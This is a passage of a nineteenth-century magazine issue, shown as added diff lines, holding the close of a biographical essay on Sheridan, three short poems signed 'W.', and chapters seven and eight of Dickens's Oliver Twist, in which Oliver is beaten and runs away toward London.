+Sheridan's next production was "St. Patrick's Day;" a clever, bustling
+farce, but bearing marks of haste and negligence. It was followed, in
+the winter of 1775, by the well-known opera of the "Duenna," which at
+once obtained a popularity unexampled in the annals of the drama. The
+plot of this delightful play is remarkable for the tact with which it
+is conducted; the language is elegant, without being too ornate or
+elaborate,--a very common defect in Sheridan's dramas;--and the songs
+are prettily versified, which is the highest praise we can accord them.
+
+In the year 1776, on the retirement of Garrick from the stage, Sheridan
+became one of the proprietors of Drury Lane Theatre. How, or by whose
+assistance, he obtained the large sum--upwards of forty-five thousand
+pounds--necessary to make this purchase, is a mystery which none of
+his numerous biographers, with all their research and ingenuity,
+have ever been able to fathom. We conclude it must have been by that
+winning address, and the strenuous exercise of those unrivalled powers
+of persuasion, which, at a later period, enabled Sheridan to work a
+miracle,--that is, to soften the soul of an attorney! It was in allusion
+to these fascinating powers that a rich City banker once observed,
+"Whenever Sherry makes me a bow, it always costs me a good dinner; and
+when he calls me 'Tom,' it is a full hundred pounds out of my pocket!"
+
+The year 1777 was rendered memorable by the production of the "School
+for Scandal," which is incomparably the finest comedy of which modern
+times can boast. Its success was proportionate to its deserts. It
+completely took the town by storm. Nevertheless, transcendent as are the
+excellencies of this brilliant play, it is not without many and serious
+defects. Its dialogue is too studiously artificial; it has little or
+no sustained interest of plot; and its characters--with the exception
+of Charles Surface, whose airy, Mercutio-like vivacity conciliates us
+in spite of ourselves--are such as them from first to last we regard
+with indifference. The incessant dazzle of the language, however,--for
+the "School for Scandal" is a perfect repertory of wit,--its consummate
+polish, and the power of quick, apt repartee, that it exhibits in every
+page, altogether blind us to its defects. The only play that can bear a
+comparison with it is Congreve's "Love for Love," which shows an equal
+opulence of wit, and an equal sacrifice to effect, of the free and easy
+play of nature.
+
+Sheridan had now the ball at his feet. He was the lion of the day,
+courted by all classes; the proprietor of the most thriving theatrical
+establishment in London; and, could he but have been industrious, and
+exercised ordinary forethought, he might have insured, not merely what
+Thomson calls "an elegant sufficiency," but a splendid independence for
+life. But indolence was his bane,--the fertile source of all his errors
+and all his misfortunes,--the rock on which he split,--the quicksand in
+which he was finally engulfed.
+
+In the year following the production of the "School for Scandal,"
+Sheridan brought out "The Critic,"--an admirable farce, the conception
+of which is derived from the Duke of Buckingham's "Rehearsal." The best
+character in this drama, and the most natural and spirited ever drawn by
+its author, is that of Sir Fretful Plagiary, which is supposed to have
+been meant for Cumberland, who witnessed the representation from one of
+the side-boxes, and, being of an irritable, tetchy temperament, must of
+course have been highly entertained.
+
+We are now to regard Sheridan in a new character. Hitherto we have
+seen him as the triumphant dramatist,--we are now to see him as the
+triumphant orator. He had always, from his first entrance into public
+life, had a strong predilection for politics; and the acquaintance
+with Burke, Fox, Wyndham, and other eminent statesmen, which he made
+at Johnson's Literary Club, decided him on trying his chance in the
+House of Commons. Accordingly, in 1780, he stood, and was returned,
+for Stafford; and made his first speech, as an avowed partisan of
+Fox, in the November of that year, on the presentation of a petition
+complaining of his undue election. Though he was listened to with marked
+attention, yet so general was the impression that he had failed, that
+the well-known printer, Woodfall, who happened to be in the gallery at
+the time, said to him, as they quitted the house together, "Oratory is
+not your forte; you had much better have stuck to the drama;" on which
+Sheridan impatiently interrupted him with, "It is in me, however, and,
+by G--! it shall come out."
+
+But, despite this determined confidence in his own powers, he did not
+for months afterwards take any active part in the debates; but, when he
+did speak, spoke briefly and unassumingly, with a view, no doubt, to
+feel his way. By this shrewd conduct he gained insensibly on the good
+opinion of the house, and became at length so useful an auxiliary to
+his party, that, on their accession to office in the year 1782, he was
+appointed one of the Under Secretaries of State; a snug, easy post, but
+which he was compelled shortly to resign by the sudden breaking up of
+the ministry, occasioned by the death of the Marquis of Rockingham.
+
+In the following year he was reinstated in office as Secretary of the
+Treasury, a coalition having been formed between Lord North and the
+Whigs, much against Sheridan's wishes; for he had the sagacity to
+foresee that a junction of such discordant interests could have but one
+termination; and the result proved that he was right. The Coalition
+Ministry was speedily defeated, chiefly by the King's own personal
+exertions; and the Under Secretary of the Treasury found himself once
+again transported to that Siberia,--the Opposition bench.
+
+Up to this period, Sheridan, though acknowledged to be a skilful, ready
+debater, had not particularly distinguished himself in the House; but
+the hour was approaching which was to draw forth all his powers, and
+place him on the very highest pinnacle of oratorical fame. In the year
+1787, on the question of Warren Hastings' conduct as Governor-general
+of India, he was chosen by his party to bring forward in Parliament the
+charge relative to the Begum princesses of Oude. His speech on this
+occasion produced an effect on all who heard it, to which there is no
+parallel in the records of the senate. It startled the House like a
+thunderbolt. Men of all parties vied with each other in lavishing on
+it the most enthusiastic praises. Burke declared it to be the "most
+astonishing effort of eloquence, argument, and wit united, of which
+there was any record or tradition." Fox said, "all that he had ever
+heard, all that he had ever read, when compared with it, dwindled into
+nothing;" and Pitt--even the cold, reserved Pitt--confessed that, in his
+opinion, "it surpassed all the eloquence of ancient or modern times, and
+possessed everything that genius or art could furnish, to agitate and
+control the human mind." So intense, in short, was the sensation created
+by this philippic, that the Minister actually moved an adjournment of
+the debate, in order, as he observed, that honourable members might have
+time to recover from the mental intoxication into which they had been
+thrown by the spells of the enchanter!
+
+Sheridan was now considered of so much consequence by the Whig party,
+that when the trial of Warren Hastings was finally determined on, he was
+appointed one of the managers to make good the articles of impeachment;
+and brought forward in Westminster Hall, before the most august assembly
+in the world, the same charge which he had previously urged in the
+House of Commons. On this occasion he spoke for four successive days,
+exciting, as before, the astonishment and admiration of all his hearers.
+Fortunately this celebrated oration, unlike the former one, has been
+preserved, and we are therefore enabled to form a tolerable estimate
+of it. It contains much brilliant wit, dexterous reasoning, and ready
+sarcasm; but is at the same time defaced by the most tawdry, patchwork
+imagery. Whenever Sheridan essays the poetic, he is invariably affected
+and on stilts. He cannot soar, like Burke, into the empyreum; for he had
+capacity, not imagination. His best passages are his most unlaboured
+ones; but of these he seems to have thought least. He tricks out
+superficial thoughts and obvious common-places in glittering trope and
+metaphor; piles hyperbole on hyperbole, conceit on conceit; and mistakes
+such showy, elaborate fustian for the true work of the fancy. There is
+as much difference between the figurative composition of Sheridan and
+that of Burke, as there is between specious tinsel and sterling gold;
+yet, throughout the Westminster Hall proceedings, the former appears to
+have thrown the latter completely into the shade,--so apt is the world
+to be caught by the mere show and glare of oratory!
+
+The illness of his Majesty, George the Third, and the discussion on the
+Regency question which took place in consequence, afforded Sheridan
+numerous other opportunities of distinguishing himself in Parliament. He
+espoused, of course, the side of the Prince of Wales, whose confidence
+he soon gained, and at whose splendid entertainments he was ever the
+favoured guest. He was, in fact, the chief adviser of the heir-apparent,
+to whom was entrusted the delicate task of drawing up his state papers;
+and he would, no doubt, in the event of a change of ministry, have been
+raised to one of the most valuable posts that his party could offer, had
+not the King's recovery put an end to his golden expectations.
+
+Shortly after, a dissolution took place, when he hurried off to
+Stafford, with the intention of again trying his luck with that
+borough. One of his fellow-passengers chanced to be an elector; on
+discovering which, Sheridan took the opportunity of asking him for whom
+he should vote. The other, ignorant who it was that put the question,
+replied that neither of the candidates were much to be depended on,
+but that he would vote for the devil sooner than that scamp Sheridan.
+The conversation here dropped for a while; but, having in the interim
+contrived to learn from the coachman the name of his opponent, Sheridan
+resumed the discourse by observing, that he had heard say there were
+many corrupt rogues among the Stafford electors, and that among them
+was one Thompson, the biggest scoundrel in the borough. "I am Mr.
+Thompson," exclaimed his fellow-traveller, crimson with rage. "And I am
+Mr. Sheridan," rejoined the other. The joke was immediately seen, and
+the parties became sworn friends ever after. Another anecdote, equally
+characteristic of Sheridan, is told of him at this period. A few days
+after his return to town, having hired a hackney-coach to take him from
+Carlton Palace to his own house, he found himself, as usual, without the
+means of paying for it. Luckily he espied his friend Richardson in the
+street, and, calling to him to get in, he engaged him in a favourite
+discussion, which he was well aware would draw forth all his energies;
+and then, after adroitly contradicting him, and so rousing his utmost
+indignation, he affected to grow angry himself; and, exclaiming that he
+would not remain an instant longer in the same coach with a man capable
+of holding such language, he insisted on Jehu setting him down, and
+walked quietly to his own house, which was now but a few yards off,
+leaving his angry friend to pay the fare!
+
+In the year 1792, Sheridan lost his beautiful and accomplished wife;
+a loss which he took greatly to heart. It was indeed an irreparable
+one; for she had long been his best "guide and friend;" and her benign
+influence removed, he plunged headlong into that reckless extravagance
+which ultimately sealed his ruin. Henceforth, for some time, he seldom
+or never distinguished himself in Parliament, though the French
+Revolution was then setting all England in a ferment; but was chiefly to
+be heard of in the circles of fashion, and at the Carlton House revels.
+On the occasion, however, of the Nore Mutiny, he took a decided part,
+nobly sacrificing all party considerations in his zeal to maintain his
+country's honour.
+
+About four years after the death of his first wife, Sheridan entered
+into a second marriage with Miss Ogle, daughter of the Dean of
+Winchester. His affairs were now in a sad state of embarrassment, for he
+obtained but a slender jointure with his wife; and, to retrieve them, he
+once again turned his attention to the stage. In 1799 he brought out the
+play of "Pizarro," which had a prodigious run, and is still occasionally
+performed. The style and sentiments of this drama are in the worst
+possible taste, utterly at variance with nature, and outraging all the
+legitimate rules of composition. Strange, however, to say its author was
+as proud of it as even of his "School for Scandal."
+
+On the death of Mr. Pitt, and the accession of the Whigs to power,
+Sheridan was appointed Treasurer of the Navy,--a situation which he
+held but a short time, the ministry being unexpectedly broken up by
+the demise of Mr. Fox. It was while holding this office that he gave
+a splendid entertainment to the Prince of Wales, which swallowed up
+his whole year's income. Nevertheless he turned even this absurd
+extravagance to account; for, having occasion to allude to his
+resignation in Parliament, he, with matchless effrontery, thanked God
+that he quitted office as poor as when he entered upon it!
+
+Parliament being dissolved soon after Fox's death, Sheridan, after a
+violent struggle, was returned for Westminster, but was unseated on the
+next dissolution, which occurred in 1807. Somewhere about this time
+his friend the Prince made him a privy-councillor, and appointed him
+to the Receivership of the Duchy of Cornwall; but, whatever were the
+pecuniary advantages he derived from this sinecure, they were more than
+counterbalanced by the destruction of all his theatrical property by
+fire. This calamity took place in 1809, when Sheridan was on his legs at
+St. Stephen's. He instantly quitted the House, and, after coolly looking
+on at the conflagration, retired to a neighbouring tavern, where he was
+found by a friend, luxuriating over a bottle of wine. On being asked how
+he could think of enjoying himself at such a time, he replied, "A man
+may surely be allowed to take a glass by his own fireside!"
+
+We now approach the last and most melancholy period of poor Sheridan's
+life. The sun that we have seen blazing so long and brilliantly, is
+now about to set in storm and cloud. Having committed himself with his
+party by some mysterious intrigues in which he had engaged, relative to
+the formation of a new ministry, Sheridan lost almost all his political
+influence; and, on the dissolution of Parliament in 1812, was defeated
+in his attempts to be re-elected for Stafford. Ruin now begun to stare
+him in the face. The management of the new theatre had been, some time
+before, taken out of his hands; his debts were on the increase; his duns
+grew daily more clamorous; and he had no longer the House of Commons
+to fly to for shelter. To such a wretched state of destitution was he
+now reduced, that he was absolutely compelled to pawn his books, his
+pictures, and all his most valuable furniture. Nor was this the worst.
+In the spring of 1814 he was arrested and carried to a spunging-house,
+where he remained in "durance vile" upwards of three days!
+
+From this moment he never again held up his head, or ventured abroad
+into the world. His heart was broken, and he would sit for hours
+weeping in the solitude of his chamber. Yet, though hovering on the
+very threshold of the grave, his duns allowed him not the slightest
+respite; writs and executions were multiplied against him; and the
+bailiffs at length forced their way into his house. He was then dying;
+yet, even in that state, the agents of the law were about to carry
+him out in blankets, when the interference of a friend saved him
+from the humiliation of drawing his last breath in a spunging-house.
+And where were all his fashionable and titled friends during this
+season of distress? Where were the princes, and dukes, and lords, of
+whom he had so long been the idol? All had flown; the sight of his
+death-bed--and such a death-bed!--would, no doubt, have been too much
+for their delicate sensibilities; and, with the exception of Messrs.
+Moore, Rogers, and one or two other friends, who remained faithful to
+the last, there was not one to close his dying eyes. But when all was
+over, then came the pomp and the pageantry, the titled pall-bearers, the
+long array of mourners, the public funeral, and the tomb in Westminster
+Abbey! Poor Sheridan! He was thought of sufficient consequence to be
+laid by the side of the departed worthies of England; yet the very men
+who paid this homage to his ashes, scorned to come near him in his
+poverty!
+
+At the period of his death, which took place in 1816, Sheridan had just
+completed his sixty-fifth year. His constitution was robust and healthy;
+and he might have lived full ten years longer, had not grief and his
+own excesses cut short the span of his days. In youth he was considered
+handsome; but long confirmed habits of conviviality had obliterated, ere
+he had yet entered on the autumn of life, every trace of comeliness.
+His manners were remarkably insinuating, especially to women; his wit
+ever at command; and his flow of animal spirits unflagging. His worst
+failing was his unconquerable indolence. To this may be attributed
+all his misfortunes, and those humiliating expedients to which he was
+compelled to have recourse in order in ward off the evil day. So deeply
+was this vice implanted in his nature, that, even when he had to attend
+the funeral of his old friend Richardson, he could not be prevailed on
+to set out in time, but arrived after the service was concluded, which,
+at his particular request, was performed a second time.
+
+Lord Byron, who saw much of him in his decline, has stated--as we see
+by Moore's admirable life of that poet--that Sheridan's wit was bitter
+and morose, rather than sparkling or conciliatory. It should be borne in
+mind, however, that he was then worn down by sickness, disappointed in
+all his hopes, and deserted by that Prince on whose favour he laid so
+much stress, and to preserve which he had made so many sacrifices. The
+concurrent testimony of those who knew him in his best days represents
+him as having been, like a Wharton or a Villiers, the "life of pleasure
+and the soul of whim." That in the course of his meteor-like career he
+committed many indefensible acts, and carried the faculty of non-payment
+to its highest point of perfection, is true; but, before we finally
+condemn him, let us consider what was his education, what his original
+position in society, and, above all, what were his temptations. He
+was never taught in early life to set a right value on thrifty and
+industrious habits. His father was an eccentric being from whose example
+he could derive no benefit; and, at an age when the majority of men are
+yet in the parental leading-strings, he was cast adrift upon the world,
+to sink or swim as might happen. Thus situated, without any legitimate
+profession or certain income, he made his own way to celebrity; and if,
+while associating with people infinitely his superiors in rank, wealth,
+and all worldly advantages, he imbibed their extravagances and aped
+their follies, such weakness is surely a fitter subject for our regret
+than indignation. At any rate, let us not forget that, if he erred, he
+paid the penalty; and that many men a thousand times worse than ever he
+was, but with more tact in concealing their faults, have gone down to
+the grave honoured and lamented as good citizens and good Christians.
+
+
+
+
+         A SUMMER NIGHT'S REVERIE.
+
+    'Tis night--and, save the waterfall
+      That murmurs through the stony vale,
+    No sound is near the castle wall
+      On which the moonlight falls so pale!
+
+    There is no wind, but up on high
+    The clouds are passing hurriedly;
+    And the bright tops of tree and tow'r
+    Look chilly cold, although the hour
+    Is midtime of a summer's night,
+    When moon is mixt with morning light.
+
+    There is a terror o'er the scene,
+    As if but lately it had been
+    A battle-plain,--and dead and dying
+    Were silent in the shadows lying!
+
+    Is it within the night's lone hour--
+    The open vale, or closed bower--
+    The murmur of the distant dells,
+    That such wild melancholy dwells?
+    Is it the silvery orbs that sleep
+    So tranquilly in heaven's deep,
+    That with their silence wake the mind
+    To such calm sorrow--such refin'd,
+    And mixture sweet of joy and grief,
+    That makes young hearts think tears relief?
+
+    Why should the softest season bring
+    The mind such blissful suffering,
+    As oft we feel when Nature's rest
+    Seems most divinely--calmly blest?
+
+    Who ever roam'd on moonlit night,
+    And thought its beam was gaily bright?
+    Who ever heard a serenade,
+      With ev'n a theme of lightest mirth,
+    But melancholy echoes play'd,
+      And sighs within the heart had birth?
+    Who ever trode, in glenwood way,
+      The trellised shadows of the trees,
+    But felt come o'er his spirit's play
+      A mournful cadence like a breeze?--
+    A mingled thrill of pain and bliss--
+      A dream of hopes and mem'ries lost?
+    Oh! even happiest lovers' kiss,
+      By moonlight is with sadness crost!
+    At such an hour the gayest thing
+      Is sicklied o'er with pleasing sorrow:
+    The nightingale would gladly sing,
+      Were we to list its song by morrow!
+
+    Such is to-night--a soft, calm, summer night--
+    Dim in its beauty,--gloomy in its light!--
+    Breathing a peacefulness o'er vale and hill,
+    But in its quiet, something sadden'd still!      W.
+
+
+
+
+        SONGS OF THE MONTH. No. V.
+            May, 1837.
+
+           MAY MORNING.
+
+        Welcome, sweet May!
+        There is not a day
+    On the wings of the whole year round,
+        That sheds in its flight
+        Such heart-felt delight
+    As thou dost, with even thy sound!
+            May! May!
+        There's music in May,
+        From the breath of the mead
+            To the song of the spray!
+
+        Welcome, fair May!
+        The first dewy ray
+    That awaken'd the infant earth,
+        Descended when Thou
+        (With spring-summer brow)
+    And Beauty were twins of a birth!
+            May! May!
+        There's something in May
+        That even the lips
+            Of thy son[88] could not say!
+                                          W.
+
+[88] Mercury, god of eloquence, son of Jupiter and Maia.
+
+
+
+
+          LEARY THE PIPER'S LILT.
+
+    This is the first o' the May, boys!
+      Listen to me, an' my planxty pipe
+    Will show ye the fun o' the day, boys!
+      I know for a spree that ye're always ripe,
+    And fond o' gingerbread while it is gilt.
+      "Hurroo! for Leary the Piper's Lilt!"
+
+    First, on the _first_ o' the May, boys!
+      Do as the birds did Valentine morn;
+    Find out a lass for the day, boys!
+      And then together go _gether_ the thorn--
+    I warrant she'll never be jade or jilt.
+      "Hurroo! for Leary the Piper's Lilt!"
+
+    Go where ye _may_ for the May, boys!
+      Folla yir nose, an' ye'll find it soon:
+    On every hedge by the way, boys!
+      Ye'll hear it singin' its scented tune,
+    Unless by the breath o' your darlin' _kilt_!
+      "Hurroo! for Leary the Piper's Lilt!"
+
+    But isn't it betther the _May_, boys!
+      All living to _lave_ on its flow'ry tree,
+    Than wound it by _braking_ away, boys!
+      A branch that in blossom not long will be
+    When the rosy dew that it drank is spilt?
+      "Hurroo! for Leary the Piper's Lilt!"
+
+    An' when ye're all tir'd o' the May, boys!
+      Come to the sign o' the Muzzle an' Can:
+    An' there, at the close o' the day, boys!
+      Let ev'ry lass, by the side of her man,
+    Dance till the daisies are spreadin' their quilt.
+      "Hurroo! for Leary the Piper's Lilt!"
+                                                   W.
+
+
+
+
+                OLIVER TWIST;
+        OR, THE PARISH BOY'S PROGRESS.
+                  BY BOZ.
+
+        ILLUSTRATED BY GEORGE CRUIKSHANK.
+
+
+             CHAPTER THE SEVENTH.
+
+        OLIVER CONTINUES THE REFRACTORY.
+
+Noah Claypole ran along the streets at his swiftest pace, and paused not
+once for breath until he reached the workhouse-gate. Having rested here,
+for a minute or so, to collect a good burst of sobs and an imposing show
+of tears and terror, he knocked loudly at the wicket, and presented such
+a rueful face to the aged pauper who opened it, that even he, who saw
+nothing but rueful faces about him at the best of times, started back in
+astonishment.
+
+"Why, what's the matter with the boy?" said the old pauper.
+
+"Mr. Bumble! Mr. Bumble!" cried Noah, with well-affected dismay, and
+in tones so loud and agitated that they not only caught the ear of Mr.
+Bumble himself who happened to be hard by, but alarmed him so much that
+he rushed into the yard without his cocked hat,--which is a very curious
+and remarkable circumstance, as showing that even a beadle, acted upon
+by a sudden and powerful impulse, may be afflicted with a momentary
+visitation of loss of self-possession, and forgetfulness of personal
+dignity.
+
+"Oh, Mr. Bumble, sir!" said Noah; "Oliver, sir,--Oliver has----"
+
+"What? what?" interposed Mr. Bumble, with a gleam of pleasure in his
+metallic eyes. "Not run away: he hasn't run away; has he, Noah?"
+
+"No, sir, no; not run away, sir, but he's turned wicious," replied Noah.
+"He tried to murder me, sir; and then he tried to murder Charlotte, and
+then missis. Oh, what dreadful pain it is! such agony, please sir!"
+and here Noah writhed and twisted his body into an extensive variety
+of eel-like positions; thereby giving Mr. Bumble to understand that,
+from the violent and sanguinary onset of Oliver Twist, he had sustained
+severe internal injury and damage, from which he was at that speaking
+suffering the acutest torture.
+
+When Noah saw that the intelligence he communicated perfectly paralysed
+Mr. Bumble, he imparted additional effect thereunto, by bewailing his
+dreadful wounds ten times louder than before: and, when he observed a
+gentleman in a white waistcoat crossing the yard, he was more tragic
+in his lamentations than ever, rightly conceiving it highly expedient
+to attract the notice, and rouse the indignation, of the gentleman
+aforesaid.
+
+[Illustration: Oliver introduced to the respectable Old Gentleman]
+
+The gentleman's notice was very soon attracted; for he had not walked
+three paces when he turned angrily round, and inquired what that
+young cur was howling for, and why Mr. Bumble did not favour him with
+something which would render the series of vocular exclamations so
+designated, an involuntary process.
+
+"It's a poor boy from the free-school, sir," replied Mr. Bumble, "who
+has been nearly murdered--all but murdered, sir--by young Twist."
+
+"By Jove!" exclaimed the gentleman in the white waistcoat, stopping
+short. "I knew it! I felt a strange presentiment from the very first,
+that that audacious young savage would come to be hung!"
+
+"He has likewise attempted, sir, to murder the female servant," said Mr.
+Bumble, with a face of ashy paleness.
+
+"And his missis," interposed Mr. Claypole.
+
+"And his master, too, I think you said, Noah?" added Mr. Bumble.
+
+"No, he's out, or he would have murdered him," replied Noah. "He said he
+wanted to--"
+
+"Ah! said he wanted to--did he, my boy?" inquired the gentleman in the
+white waistcoat.
+
+"Yes, sir," replied Noah; "and, please sir, missis wants to know whether
+Mr. Bumble can spare time to step up there directly, and flog him,
+'cause master's out."
+
+"Certainly, my boy; certainly," said the gentleman in the white
+waistcoat, smiling benignly, and patting Noah's head, which was about
+three inches higher than his own. "You're a good boy--a very good boy.
+Here's a penny for you. Bumble, just step up to Sowerberry's with your
+cane, and see what's best to be done. Don't spare him, Bumble."
+
+"No, I will not, sir," replied the beadle, adjusting the wax-end which
+was twisted round the bottom of his cane for purposes of parochial
+flagellation.
+
+"Tell Sowerberry not to spare him, either. They'll never do anything
+with him, without stripes and bruises," said the gentleman in the white
+waistcoat.
+
+"I'll take care, sir," replied the beadle. And, the cocked hat and
+cane having been by this time adjusted to their owner's satisfaction,
+Mr. Bumble and Noah Claypole betook themselves with all speed to the
+undertaker's shop.
+
+Here the position of affairs had not at all improved, for Sowerberry had
+not yet returned, and Oliver continued to kick with undiminished vigour
+at the cellar-door. The accounts of his ferocity, as related by Mrs.
+Sowerberry and Charlotte, were of so startling a nature that Mr. Bumble
+judged it prudent to parley before opening the door: with this view, he
+gave a kick at the outside, by way of prelude, and then, applying his
+mouth to the keyhole, said, in a deep and impressive tone,
+
+"Oliver!"
+
+"Come; you let me out!" replied Oliver, from the inside.
+
+"Do you know this here voice, Oliver?" said Mr. Bumble.
+
+"Yes," replied Oliver.
+
+"Ain't you afraid of it, sir? Ain't you a-trembling while I speak, sir?"
+said Mr. Bumble.
+
+"No!" replied Oliver, boldly.
+
+An answer so different from the one he had expected to elicit, and was
+in the habit of receiving, staggered Mr. Bumble not a little. He stepped
+back from the keyhole, drew himself up to his full height, and looked
+from one to another of the three bystanders in mute astonishment.
+
+"Oh, you know, Mr. Bumble, he must be mad," said Mrs. Sowerberry. "No
+boy in half his senses could venture to speak so to you."
+
+"It's not madness, ma'am," replied Mr. Bumble, after a few moments of
+deep meditation; "it's meat."
+
+"What!" exclaimed Mrs. Sowerberry.
+
+"Meat, ma'am, meat," replied Bumble, with stern emphasis. "You've
+overfed him, ma'am. You've raised a artificial soul and spirit in
+him, ma'am, unbecoming a person of his condition, as the board, Mrs.
+Sowerberry, who are practical philosophers, will tell you. What have
+paupers to do with soul or spirit either? It's quite enough that we let
+'em have live bodies. If you had kept the boy on gruel, ma'am, this
+would never have happened."
+
+"Dear, dear!" ejaculated Mrs. Sowerberry, piously raising her eyes to
+the kitchen ceiling. "This comes of being liberal!"
+
+The liberality of Mrs. Sowerberry to Oliver had consisted in a profuse
+bestowal upon him, of all the dirty odds and ends which nobody else
+would eat; so that there was a great deal of meekness and self-devotion
+in her voluntarily remaining under Mr. Bumble's heavy accusation, of
+which, to do her justice, she was wholly innocent in thought, word, or
+deed.
+
+"Ah!" said Mr. Bumble, when the lady brought her eyes down to earth
+again. "The only thing that can be done now, that I know of, is to
+leave him in the cellar for a day or so till he's a little starved
+down, and then to take him out, and keep him on gruel all through his
+apprenticeship. He comes of a bad family--excitable natures, Mrs.
+Sowerberry. Both the nurse and doctor said that that mother of his made
+her way here, against difficulties and pain that would have killed any
+well-disposed woman weeks before."
+
+At this point of Mr. Bumble's discourse, Oliver just hearing enough
+to know that some further allusion was being made to his mother,
+recommenced kicking with a violence which rendered every other sound
+inaudible. Sowerberry returned at this juncture, and Oliver's offence
+having been explained to him, with such exaggerations as the ladies
+thought best calculated to rouse his ire, he unlocked the cellar-door in
+a twinkling, and dragged his rebellious apprentice out by the collar.
+
+Oliver's clothes had been torn in the beating he had received; his face
+was bruised and scratched, and his hair scattered over his forehead. The
+angry flush had not disappeared, however; and when he was pulled out of
+his prison, he scowled boldly on Noah, and looked quite undismayed.
+
+"Now, you are a nice young fellow, ain't you?" said Sowerberry, giving
+Oliver a shake, and a sound box on the ear.
+
+"He called my mother names," replied Oliver, sullenly.
+
+"Well, and what if he did, you little ungrateful wretch?" said Mrs.
+Sowerberry. "She deserved what he said, and worse."
+
+"She didn't!" said Oliver.
+
+"She did!" said Mrs. Sowerberry.
+
+"It's a lie!" said Oliver.
+
+Mrs. Sowerberry burst into a flood of tears.
+
+This flood of tears left Sowerberry no alternative. If he had hesitated
+for one instant to punish Oliver most severely, it must be quite clear
+to every experienced reader that he would have been, according to all
+precedents in disputes of matrimony established, a brute, an unnatural
+husband, an insulting creature, a base imitation of a man, and various
+other agreeable characters too numerous for recital within the limits of
+this chapter. To do him justice, he was, as far as his power went,--it
+was not very extensive,--kindly disposed towards the boy; perhaps
+because it was his interest to be so, perhaps because his wife disliked
+him. The flood of tears, however, left him no resource; so he at once
+gave him a drubbing, which satisfied even Mrs. Sowerberry herself, and
+rendered Mr. Bumble's subsequent application of the parochial cane
+rather unnecessary. For the rest of the day he was shut up in the back
+kitchen, in company with a pump and a slice of bread; and, at night,
+Mrs. Sowerberry, after making various remarks outside the door, by no
+means complimentary to the memory of his mother, looked into the room,
+and, amidst the jeers and pointings of Noah and Charlotte, ordered him
+up stairs to his dismal bed.
+
+It was not until he was left alone in the silence and stillness of the
+gloomy workshop of the undertaker, that Oliver gave way to the feelings
+which the day's treatment may be supposed likely to have awakened in
+a mere child. He had listened to their taunts with a look of dogged
+contempt; he had borne the lash without a cry, for he felt that pride
+swelling in his heart which would have kept down a shriek to the last,
+if they had roasted him alive. But, now that there were none to see or
+hear him, he fell upon his knees on the floor, and, hiding his face in
+his hands, wept such tears as God send for the credit of our nature, few
+so young may ever have cause to pour out before him.
+
+For a long time Oliver remained motionless in this attitude. The candle
+was burning low in the socket when he rose to his feet, and having gazed
+cautiously round him, and listened intently, gently undid the fastenings
+of the door and looked abroad.
+
+It was a cold dark night. The stars seemed to the boy's eyes further
+from the earth than he had ever seen them before; there was no wind, and
+the sombre shadows thrown by the trees on the earth looked sepulchral
+and death-like, from being so still. He softly reclosed the door, and,
+having availed himself of the expiring light of the candle to tie up in
+a handkerchief the few articles of wearing apparel he had, sat himself
+down upon a bench to wait for morning.
+
+With the first ray of light that struggled through the crevices in
+the shutters Oliver rose, and again unbarred the door. One timid look
+around,--one moment's pause of hesitation,--he had closed it behind him,
+and was in the open street.
+
+He looked to the right and to the left, uncertain whither to fly. He
+remembered to have seen the waggons as they went out, toiling up the
+hill; he took the same route, and arriving at a footpath across the
+fields, which he thought after some distance led out again into the
+road, struck into it, and walked quickly on.
+
+Along this same footpath, Oliver well remembered he had trotted beside
+Mr. Bumble, when he first carried him to the workhouse from the farm.
+His way lay directly in front of the cottage. His heart beat quickly
+when he bethought himself of this, and he half resolved to turn back.
+He had come a long way though, and should lose a great deal of time by
+doing so. Besides, it was so early that there was very little fear of
+his being seen; so he walked on.
+
+He reached the house. There was no appearance of its inmates stirring at
+that early hour. Oliver stopped, and peeped into the garden. A child was
+weeding one of the little beds; and, as he stopped, he raised his pale
+face, and disclosed the features of one of his former companions. Oliver
+felt glad to see him before he went, for, though younger than himself,
+he had been his little friend and playmate; they had been beaten, and
+starved, and shut up together, many and many a time.
+
+"Hush, Dick!" said Oliver, as the boy ran to the gate, and thrust his
+thin arm between the rails to greet him. "Is any one up?"
+
+"Nobody but me," replied the child.
+
+"You mustn't say you saw me, Dick," said Oliver; "I am running away.
+They beat and ill-use me, Dick; and I am going to seek my fortune some
+long way off, I don't know where. How pale you are!"
+
+"I heard the doctor tell them I was dying," replied the child with a
+faint smile. "I am very glad to see you, dear; but don't stop, don't
+stop."
+
+"Yes, yes, I will, to say good-b'ye to you," replied Oliver. "I shall
+see you again, Dick; I know I shall. You will be well and happy."
+
+"I hope so," replied the child, "after I am dead, but not before. I know
+the doctor must be right. Oliver; because I dream so much of heaven, and
+angels, and kind faces that I never see when I am awake. Kiss me," said
+the child, climbing up the low gate, and flinging his little arms round
+Oliver's neck. "Good-b'ye dear! God bless you!"
+
+The blessing was from a young child's lips, but it was the first that
+Oliver had ever heard invoked upon his head; and through all the
+struggles and sufferings of his after life, through all the troubles and
+changes of many weary years, he never once forgot it.
+
+
+                      CHAPTER THE EIGHTH.
+
+       OLIVER WALKS TO LONDON, AND ENCOUNTERS ON THE ROAD
+              A STRANGE SORT OF YOUNG GENTLEMAN.
+
+Oliver reached the stile at which the by-path terminated, and once more
+gained the high-road. It was eight o'clock now; and, though he was
+nearly five miles away from the town, he ran, and hid behind the hedges
+by turns, till noon, fearing that he might be pursued and overtaken.
+Then he sat down to rest at the side of a mile-stone, and began to think
+for the first time where he had better go and try to live.
+
+The stone by which he was seated bore, in large characters, an
+intimation that it was just seventy miles from that spot to London. The
+name awakened a new train of ideas in the boy's mind. London!--that
+great large place!--nobody--not even Mr. Bumble--could ever find him
+there. He had often heard the old men in the workhouse, too, say that no
+lad of spirit need want in London, and that there were ways of living in
+that vast city which those who had been bred up in country parts had no
+idea of. It was the very place for a homeless boy, who must die in the
+streets unless some one helped him. As these things passed through his
+thoughts, he jumped upon his feet, and again walked forward.
+
+He had diminished the distance between himself and London by full four
+miles more, before he recollected how much he must undergo ere he
+could hope to reach his place of destination. As this consideration
+forced itself upon him, he slackened his pace a little, and meditated
+upon his means of getting there. He had a crust of bread, a coarse
+shirt, and two pairs of stockings in his bundle; and a penny--a gift of
+Sowerberry's after some funeral in which he had acquitted himself more
+than ordinarily well--in his pocket. "A clean shirt," thought Oliver,
+"is a very comfortable thing,--very; and so are two pairs of darned
+stockings, and so is a penny; but they are small helps to a sixty-five
+miles' walk in winter time." But Oliver's thoughts, like those of most
+other people, although they were extremely ready and active to point out
+his difficulties, were wholly at a loss to suggest any feasible mode of
+surmounting them; so, after a good deal of thinking to no particular
+purpose, he changed his little bundle over to the other shoulder, and
+trudged on.
+
